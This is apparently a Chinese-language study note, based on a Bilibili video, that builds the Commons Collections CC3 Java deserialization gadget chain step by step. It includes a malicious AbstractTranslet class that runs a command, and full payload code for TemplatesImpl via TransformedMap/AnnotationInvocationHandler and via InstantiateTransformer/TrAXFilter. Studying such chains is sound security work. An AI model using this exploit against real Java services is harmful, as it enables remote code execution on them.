声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删

组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0

一、挖掘CC3链

image-20220911180428553

使用动态类加载执行代码

我们了解到,ClassLoader在加载类时最后都会调用到defineClass(sink),我们要找一个调用defineClass且是public的方法。(ClassLoader中重载了很多defineClss,我们需要寻找一个合适的)

image-20220911110119114

这里的defineClass也不是public的,只能被当前类调用,我们看一下在那里被调用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//TemplatesImpl
private void defineTransletClasses()
throws TransformerConfigurationException {
......
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
......
}

private Translet getTransletInstance()
throws TransformerConfigurationException {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// 这里还有初始化的操作,很不错
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
......
}

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
......
}

我们在TemplatesImpl沿着defineClass –> defineTransletClasses –> getTransletInstance –> newTransformer

终于找到了一个public的方法newTransformer(),并且意外收获是在getTransletInstance()方法中会把我们动态加载的恶意类进行初始化

那接下来我们来测试一下从newTransformer()到defineClass()能不能正常执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//TemplatesImpl
private byte[][] _bytecodes = null;

private Translet getTransletInstance(){
//__name不能为空,否则直接返回null
if (_name == null) return null;
//_class应该为空,然后调用defineTransletClasses方法
if (_class == null) defineTransletClasses();

private void defineTransletClasses(){
//_bytecodes不能为空,否则会抛出异常
if (_bytecodes == null) {
throw new TransformerConfigurationException(err.toString());
}
//_tfactory不能为空,否则会报空指针异常
AccessController.doPrivileged(new PrivilegedAction() {
TransletClassLoader(...,_tfactory.getExternalExtensionsMap());}
};
//这里执行到defineClass,_bytecodes应该就是我们要加载的恶意类的二进制数组
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i])

//内部类,loader.defineClass就是这个类
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

我们主要到_bytecodes是一个二维数组,而defineClass类加载时只需要一维数组,我们观察到有一个for循环,会把我们传的_bytecodes循环加载进来,所以我们在一个一维数组放上我们的恶意类数组就好了

java中可以使用 int[] a = {1,2,3,4,5};的方式构建数组

构造二维数组: int[][] arr = { {1,2,3},{4,5,6},{7,8,9} };

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");

Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

运行发现抛出了空指针异常错误

image-20220911121528469

动态调试时发现_auxClasses这里会报空指针异常,且_transletIndex为-1时也会报异常,所以我们要做的是进入第一个if分支,修改_transletIndex,所以我们的恶意类的父类应该为ABSTRACT_TRANSLET,即

1
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//恶意类
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

二、把CC1链前半段接过来(InvokerTransformer)

image-20220911182446213

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//我这里接的TransformedMap版本的,LayMap也行
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");

Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");

三、InstantiateTransformer版本

image-20220911185549352

我们看到,InstantiateTransformer 所实现的 transform()方法允许我们通过反射实例化一个对象并且返回。

它会调用类的构造方法

1
2
3
4
5
6
7
8
9
10
11
12
//InstantiateTransformer
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} ......
}

我们还可以再向前寻找一个调用newTransformer()方法的地方

image-20220911183454625

发现了TrAXFilter类,在他的构造方法中调用了newTransformer()

1
2
3
4
5
6
7
8
public class TrAXFilter extends XMLFilterImpl {
private TransformerImpl _transformer;

public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_transformer = (TransformerImpl) templates.newTransformer();
}

我们注意,这个类并没有实现Serializable类,不能序列化,但是我们可以直接利用其构造方法,结合前面的InstantiateTransformer 类,构造出来一条InstantiateTransformer.transform() --> TrAXFilter.TrAXFilter --> --> TemplatesImpl.newTransformer()这样一条链

1
2
//正常执行是:
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}).transform(TrAXFilter.class)

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
        TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();

Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");

Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates,codes);

//这里不需要了,因为readObject时会给_tfactory赋值
//Field tfactoryFiled = tc.getDeclaredField("_tfactory");

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
// serialize(o);
unserialize("ser.bin");